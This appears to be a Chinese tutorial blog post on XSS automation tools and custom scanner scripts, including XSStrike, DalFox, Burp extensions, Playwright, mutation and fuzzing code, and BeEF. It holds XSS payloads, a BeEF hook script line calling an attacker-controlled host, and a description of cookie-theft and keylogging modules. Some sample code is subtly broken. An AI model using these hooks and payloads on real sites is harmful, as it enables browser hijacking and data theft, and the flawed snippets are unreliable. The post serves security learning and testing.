大家好,你们可以叫我凌,是个16岁的网络安全学习者。

今天我们来聊聊自动化工具的运用,废话不多说我们直接开始吧!


开始前依旧提供链接
链接:https://pan.quark.cn/s/0e84811053d1?pwd=tMwG
提取码:tMwG


手工测试虽然精准,但在面对大量参数、复杂场景时效率太低。自动化工具可以帮助我们快速扩大测试覆盖面,发现潜在漏洞,再结合手工验证,达到事半功倍的效果。本章将介绍几款主流的 XSS 自动化工具,并深入讲解如何编写自定义脚本实现更灵活的测试。

XSStrike 深入

XSStrike是一款功能强大的 XSS 检测工具,它不仅能发送 Payload,还能分析上下文、生成绕过 Payload 并探测 WAF

核心特性

特性说明
上下文分析通过分析响应判断输出点位置(HTML 标签内、属性中、JS 代码中等)
Payload 生成器根据上下文自动生成合适的 Payload
WAF 探测发送特定 Payload 判断是否存在 WAF 及其类型
多线程扫描支持多线程提高效率
支持 GET/POST可测试 URL 参数和 POST 表单

基本用法

测试单个 URL

python xsstrike.py -u "http://target.com/page.php?id=1"

测试 POST 请求

python xsstrike.py -u "http://target.com/search.php" --data "q=test"

从文件读取多个目标

python xsstrike.py --seeds urls.txt

指定参数名

python xsstrike.py -u "http://target.com/page.php?q=test" --params "q"

分析 Payload 生成逻辑

XSStrike 的 Payload 生成器会根据上下文动态调整。例如,如果检测到输出点在 HTML 标签内部,它会生成闭合标签的 Payload;如果在 JavaScript 字符串中,它会生成字符串闭合 Payload。

# 假设输出点在 <input value="[output]"> 中
XSStrike 会生成:">< img src=x onerror=alert(1)>
# 从而闭合 value 属性,注入新标签

自定义规则扩展

XSStrike 的 Payload 存储在 core/payloads.py 中,可以根据需要添加新的 Payload 或绕过技巧。例如,添加一个针对特定 WAF 的 Payload:

# 在 payloads.py 的 XSS 列表中添加
XSS_PAYLOADS = [
    # ...
    '<svg/onload=alert(1)>',
    '<math><mtext><script>alert(1)</script></mtext></math>',
    # 自定义 Payload
    '<img src="x" onerror="eval(atob(\'YWxlcnQoMSk=\'))">'  # base64 编码的 alert(1)
]

局限性

· 对 DOM 型 XSS 检测能力有限(因为它需要执行 JavaScript,而 XSStrike 是静态分析)

· 可能遗漏需要用户交互的触发点(如点击按钮)

· 某些复杂业务逻辑无法覆盖(如多步骤表单)

DalFox

DalFox 是一款基于 Go 语言开发的 XSS 扫描器,支持 DOM 解析和动态测试,对现代 Web 应用更友好。

核心特性

特性说明
DOM 解析内置 headless 浏览器,可以执行 JavaScript,检测 DOM 型 XSS
动态测试模拟点击、输入等操作,触发隐藏的 XSS
多格式输入支持 URL、文件、Burp 请求包
WAF 检测识别 WAF 类型并尝试绕过
漏洞验证自动验证漏洞,减少误报

基本用法

扫描单个 URL

dalfox url "http://target.com/page.php?id=1"

从文件读取多个 URL

dalfox file urls.txt

使用 Burp 请求包

dalfox request req.txt

启用 DOM 解析(headless)

dalfox url "http://target.com/page.php?id=1" --headless

高级选项

指定参数

dalfox url "http://target.com/page.php?id=1&name=test" --param id --param name

自定义 Payload 文件

dalfox url "http://target.com/page.php?id=1" --payload-file my_payloads.txt

忽略某些参数

dalfox url "http://target.com/page.php?id=1&token=123" --skip-param token

输出结果到文件

dalfox url "http://target.com/page.php?id=1" -o result.txt

与 XSStrike 对比

对比项XSStrikeDalFox
编程语言PythonGo
DOM 支持静态分析headless 动态执行
速度较慢
适用场景传统反射型 XSS现代应用,含 DOM 型 XSS

实战案例

假设一个页面通过 JavaScript 动态将 URL 参数插入到 DOM 中

let params = new URLSearchParams(location.search);
document.getElementById('output').innerHTML = params.get('msg');

使用 DalFox 的 headless 模式可以检测到这种 DOM 型 XSS:

dalfox url "http://target.com/page.php?msg=test" --headless

DalFox 会启动浏览器访问页面,执行 JavaScript,并尝试注入 Payload,观察是否弹窗。

Knoxss

Knoxss 是一个在线 XSS 测试平台,提供免费的快速验证服务(有一定限制)。

特点

· 无需安装,直接在网页上测试

· 支持多种 Payload 编码

· 可查看请求和响应详情

· 适合快速验证漏洞是否存在

使用方法

1. 访问 https://knoxss.me

2. 输入目标 URL 和参数名

3. 选择 Payload 类型(普通、编码、过滤绕过等)

4. 点击“Scan”,等待结果

局限性

· 免费版有次数限制

· 不能测试需要登录的页面(除非用付费版)

· 无法处理复杂业务逻辑

Burp 插件深度联动

Burp Suite 是渗透测试的瑞士军刀,配合插件可以大幅提升 XSS 测试效率。

使用 Bambda 过滤器快速筛选可疑参数

Bambda 是 Burp 的 Java 脚本接口,可以编写自定义过滤器,快速从大量请求中筛选出可能包含 XSS 的参数。

示例 Bambda(仅显示包含 <> 的响应)

if (!requestResponse.hasResponse()) return false;
String response = new String(requestResponse.response());
return response.contains("<") && response.contains(">");

将这段代码粘贴到 Burp 的“Bambda”窗口,即可过滤出可能反射了尖括号的请求。

Jython 脚本实现复杂逻辑检测

Jython 可以在 Burp 中运行 Python 脚本,实现自定义的主动扫描检查器。

示例:编写一个简单的 XSS 检查器,扫描所有参数并发送 Payload。

from burp import IBurpExtender, IScannerCheck, IScanIssue
from java.util import ArrayList
import urllib

class BurpExtender(IBurpExtender, IScannerCheck):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("XSS Scanner")
        callbacks.registerScannerCheck(self)
        print("XSS Scanner loaded")
    
    def doPassiveScan(self, baseRequestResponse):
        return None
    def doActiveScan(self, baseRequestResponse, insertionPoint):
        # 构建测试 Payload
        payloads = ["<script>alert(1)</script>", "< img src=x onerror=alert(1)>"]
        issues = []
        for payload in payloads:
            checkRequest = insertionPoint.buildRequest(payload)
            checkResponse = self._callbacks.makeHttpRequest(
                baseRequestResponse.getHttpService(), checkRequest)
            responseInfo = self._helpers.analyzeResponse(checkResponse)
            body = checkResponse.tostring()
            if payload in body:
                issues.append(self._createIssue(baseRequestResponse, payload))
        return issues if issues else None
    
    def _createIssue(self, baseRequestResponse, payload):
        return self._callbacks.applyMarkers(
            self._helpers.createScanIssue(
                baseRequestResponse.getHttpService(),
                self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
                [baseRequestResponse],
                "XSS Vulnerability",
                "A cross-site scripting vulnerability was detected with payload: " + payload,
                "High",
                "Certain"
            )
        )
    
    def consolidateDuplicateIssues(self, existingIssue, newIssue):
        return -1

配合 Scanner 进行主动扫描

Burp 的主动扫描可以自动爬取网站并测试所有参数,配合自定义的 Payload 列表,可以快速发现 XSS。

配置步骤

1. 在 Burp 的“Scanner” -> “Insertion point”中,启用所有参数类型。

2. 在“Scanner” -> “Payloads”中添加自定义 XSS Payload 列表。

3. 开始主动扫描,Burp 会自动测试每个参数。

自定义脚本开发

当现成工具无法满足需求时,编写自定义脚本可以突破限制,实现更灵活的测试。

Python + Selenium/Puppeteer/Playwright 构建动态扫描器

对于需要执行 JavaScript 才能触发的 XSS,可以使用 headless 浏览器模拟真实用户。

Playwright 示例(Python):

from playwright.sync_api import sync_playwright
import time

def test_xss(url, param_name, payload):
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=False)  # 可设 headless=True
        page = browser.new_page()
        
        # 监听 alert 事件
        page.on("dialog", lambda dialog: print(f"Alert triggered: {dialog.message}"))
        
        # 构造测试 URL
        test_url = url.replace("FUZZ", payload)  # 假设参数位置用 FUZZ 标记
        page.goto(test_url)
        time.sleep(2)  # 等待页面执行
        browser.close()

 使用示例

test_xss("http://target.com/search?q=FUZZ", "q", "<script>alert(1)</script>")

Puppeteer 示例(Node.js):

const puppeteer = require('puppeteer');

(async () => {
    const browser = await puppeteer.launch({ headless: false });
    const page = await browser.newPage();
    
    page.on('dialog', async dialog => {
        console.log('Alert:', dialog.message());
        await dialog.dismiss();
    });
    
    await page.goto('http://target.com/search?q=<script>alert(1)</script>');
    await browser.close();
})();

基于 AST 的 Payload 生成器

AST(抽象语法树)可以分析 JavaScript 代码的结构,并自动生成变异的 Payload,用于绕过 WAF。

简单思路

1. 解析已知 Payload 的 AST。

2. 随机替换节点(如将 alert 换成 prompt、confirm)。

3. 插入垃圾代码(如无意义的变量声明)。

4. 重新生成代码字符串,作为 Payload 发送。

Python 示例(使用 esprima 解析 JS):

import esprima
import random
def mutate_payload(payload):
    # 解析 AST
    ast = esprima.parseScript(payload)
    # 随机修改 AST 节点(这里仅示例,实际需遍历树)
    # 例如:将函数名 'alert' 改为 'confirm'
    def walk(node):
        if node.type == 'CallExpression' and node.callee.name == 'alert':
            node.callee.name = random.choice(['confirm', 'prompt'])
        for key in node:
            if isinstance(node[key], dict):
                walk(node[key])
            elif isinstance(node[key], list):
                for item in node[key]:
                    if isinstance(item, dict):
                        walk(item)
    walk(ast)
    
    # 将 AST 转回代码(需要 escodegen)
    import escodegen
    return escodegen.generate(ast)
# 示例
payload = '<script>alert(1)</script>'
mutated = mutate_payload(payload)
print(mutated)  # 可能输出 <script>confirm(1)</script>

Fuzzing 字典生成器

收集各种 XSS Payload 变体,生成字典用于模糊测试。

import itertools

def generate_payloads(base_payloads, encodings):
    """生成组合 Payload"""
    for payload in base_payloads:
        for encoding in encodings:
            yield encoding(payload)

def html_escape(payload):
    return payload.replace('<', '&lt;').replace('>', '&gt;')
def url_encode(payload):
    return requests.utils.quote(payload)

def js_escape(payload):
return payload.replace("'", "\\'").replace('"', '\\"')
# 使用
base = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
encodings = [lambda x: x, html_escape, url_encode, js_escape]
for p in generate_payloads(base, encodings):
    print(p)

机器学习 WAF 探测思路

可以训练一个简单的分类器,判断响应是否被 WAF 拦截(如根据状态码、响应内容中的关键词)。但实际应用中,机器学习更多用于学术研究,实战中规则匹配更常见。

Tampermonkey 用户脚本辅助手工测试

编写 Tampermonkey 脚本可以在浏览器中自动修改请求或注入 Payload,辅助手工测试。

示例:自动给所有链接添加 XSS 参数测试。

// ==UserScript==
// @name         XSS Helper
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Add XSS test parameters to all links
// @author       You
// @match        *://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
    document.querySelectorAll('a').forEach(link => {
        let url = new URL(link.href);
        if (!url.searchParams.has('xss_test')) {
            url.searchParams.set('xss_test', '<script>alert(1)</script>');
            link.href = url.toString();
        }
    });
})();

BeEF 实战

BeEF(Browser Exploitation Framework)是一个专注于浏览器端的渗透测试框架,可以将 XSS 漏洞转化为浏览器控制权。

部署与 hook 方式

1. 启动 BeEF:

   ./beef

   默认访问 http://localhost:3000/ui/panel,用户名密码 beef。

2. 生成 hook 脚本:

   BeEF 提供一个 hook.js 文件,地址为 http://your-ip:3000/hook.js。

3. 在 XSS 漏洞中加载 hook[html]:

   <script src="http://your-ip:3000/hook.js"></script>

   当受害者访问页面时,浏览器就会被 hook 到 BeEF 控制台。

模块利用与扩展

BeEF 提供了大量模块,可以执行以下操作:

模块类别功能示例
信息收集获取浏览器版本、已安装插件、屏幕分辨率
窃取数据窃取 Cookie、键盘记录、截图
网络扫描对内网进行端口扫描
持久化安装持久化脚本(如使用 setInterval 重新 hook)
漏洞利用针对特定浏览器的漏洞(如旧版 IE 的 RCE)

使用示例

1. 在 BeEF 控制台,选择被 hook 的浏览器。

2. 在“Commands”选项卡中搜索模块,如“Get Cookies”。

3. 点击“Execute”运行,结果会返回

自定义模块开发

BeEF 模块由 Ruby 编写,放在 modules/ 目录下。一个简单的模块结构

# modules/example/example.rb
class Example < BeEF::Core::Command
  def self.options
    @configuration = BeEF::Core::Configuration.instance
    return [
      {'name' => 'message', 'type' => 'textarea', 'value' => 'Hello', 'description' => 'Message to alert'}
    ]
  end

  def post_execute
    content = {}
    content['result'] = @datastore['result']
    save content
  end
end

对应的 JavaScript 文件(command.js):

beef.execute(function() {
  var message = '<%= @message %>';
  alert(message);
  beef.net.send('<%= @command_id %>', beef.result({"result": "ok"}));
});
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐